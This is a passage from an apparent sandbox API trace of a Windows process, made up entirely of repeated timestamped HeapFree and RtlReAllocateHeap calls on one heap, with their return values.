returned 1 [0158.904] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.201] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.212] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.215] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.216] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.217] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.218] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.219] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.220] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.221] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.222] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e9780, Size=0x4000) returned 0x4270068 [0159.222] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0159.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.223] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.226] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.227] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.228] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.229] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0159.230] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0159.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0159.234] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0160.767] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x4270068, Size=0x8000) returned 0x3bb1528 [0160.773] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0160.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3b10e08 | out: hHeap=0x790000) returned 1 [0160.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0161.083] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.085] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.087] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x3bb1528, Size=0x10000) returned 0x42d0098 [0161.088] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.088] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.088] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.088] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.088] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.201] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.201] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.232] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.246] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.251] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0090 | out: hHeap=0x790000) returned 1 [0161.251] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.252] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.253] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.253] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.253] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.253] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.255] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.257] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.259] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.261] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0161.262] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.750] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.752] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.946] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0161.947] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4290078 | out: hHeap=0x790000) returned 1 [0161.947] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0161.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0161.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0162.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0162.151] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0162.152] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0162.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0162.335] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0162.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0162.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x790000) returned 1 [0162.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0162.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0162.341] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0162.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0162.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0162.342] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0163.169] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0163.292] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0163.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0163.299] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0163.817] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0163.817] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0163.817] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0163.885] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0164.002] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0164.118] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0164.128] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0164.128] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0164.132] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0164.326] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43100b0 | out: hHeap=0x790000) returned 1 [0164.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43100b0 | out: hHeap=0x790000) returned 1 [0164.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0164.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x790000) returned 1 [0164.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e00a0 | out: hHeap=0x790000) returned 1 [0164.739] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0164.793] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43100b0 | out: hHeap=0x790000) returned 1 [0164.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.670] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0168.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42e0010 | out: hHeap=0x790000) returned 1 [0168.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0168.671] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.679] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0168.691] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.692] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0168.705] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0171.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0171.685] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0171.686] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0171.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0171.687] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0175.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43700c8 | out: hHeap=0x790000) returned 1 [0175.211] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42d0008 | out: hHeap=0x790000) returned 1 [0175.389] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0175.392] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0175.409] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0175.433] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0177.074] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0177.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0177.077] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0177.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0177.078] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0177.079] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43600c0 | out: hHeap=0x790000) returned 1 [0177.428] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.430] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.431] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.433] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.434] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.436] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.437] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.439] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.440] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.510] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.512] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.513] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.514] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.528] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.540] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0177.848] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0177.971] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0177.972] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.012] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.015] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.017] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.019] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.021] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.022] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.024] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.025] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.338] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.399] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.401] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.402] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.469] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.471] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.472] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.474] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.475] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.476] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.478] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.479] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0178.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0178.484] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4280070 | out: hHeap=0x790000) returned 1 [0178.485] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.487] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.488] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.745] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.747] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.749] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.751] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.753] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.755] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.758] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.760] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.763] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.765] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 1 [0178.767] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0088 | out: hHeap=0x790000) returned 